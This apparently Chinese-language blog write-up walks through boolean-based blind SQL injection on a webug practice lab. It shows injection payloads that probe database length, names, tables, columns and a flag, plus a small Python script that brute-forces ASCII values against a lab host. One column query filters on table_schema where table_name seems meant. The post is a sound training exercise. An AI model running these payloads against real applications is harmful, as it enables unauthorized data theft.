前言

第二关布尔注入,从题目可以得到提示,布尔注入的话,与第一关显错注入的差别在于返回,或者 不是,查询失败是没有返回的,所以不会报错,一般这种注入难度较大,可以使用工具才测试,比如sqlmap之类的
布尔注入记住一点:有返回就是正确的,没返回就代表有错
手工盲注的话其实和第一关的思路一样的:

解题过程

直接单引号试一下:

可以看到加了单引号后,没有返回,注释掉原有的引号;

有返回,因为这里是不能返回数据的,所以我们这里只能盲注,首先要猜测数据库名的长度:
payload:id=1' and length(database())>1 %23

爆破数据库名长度

这里我们慢慢更改名字的长度,直到测试到大于 5时,发现没有返回,也就是数据库名长度是 5,构造的sql造成了查询出错,所以没有返回了,现在我们就继续爆破数据库名:
payload:id=1' and left(database(),1)>'a' %23
这里爆破第一个字符,从a开始慢慢尝试


这里尝试的 w的时候,发现没有返回,所以我们可以确定数据库名称的第一个字符是 w

同理,一直尝试,可以爆破出数据库名称是 webug!

到这儿可以发现,这样盲注其实效率是很低的,所以还是建议使用工具来注入,手工太慢了

爆破表名

payload:1' and ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),1,1))=100%23
这里使用ASCII码来判断的原因主要是节省时间,使用一个小脚本来跑,当然也可以使用burp suit来跑:
用到的代码:

import requests

url_template = 'http://192.168.129.148/control/sqlinject/bool_injection.php?id=1%27%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27webug%27%20limit%200,1),1,1))={}%23'

header = {
    "Cookie": "PHPSESSID=30gq4tad6f7j2dffkfkg5mb0h4"
}
for i in range(0,127):
    resp = requests.get(url_template.format(str(i)),headers=header)
    resp.encoding = resp.apparent_encoding
    resp = resp.text
    print("{}----{}".format(str(i), str(len(resp))))

可以发现有一个返回的长度不对,说明这个请求有返回,这里100对应的ASCII码是:d
这样我们就测出来了第一个表名的第一个字符是d,以此类推,改变limit n,1就可以测试出第n个表;改变substr(str,n,1)就可以测试某个表名第n个字符,这里不再演示,请自己尝试

爆破表名

同猜测表名基本上是一样的步骤,直接上payload
payload:1' and ascii(substr((select column_name from information_schema.columns where table_schema='flag' limit 0,1),1,1))=105 %23

获取flag

payload:1' and ascii(substr((select flag from flag where id=1),1,1))=68 --+

最后修改:2020 年 07 月 30 日
如果觉得我的文章对你有用,请随意赞赏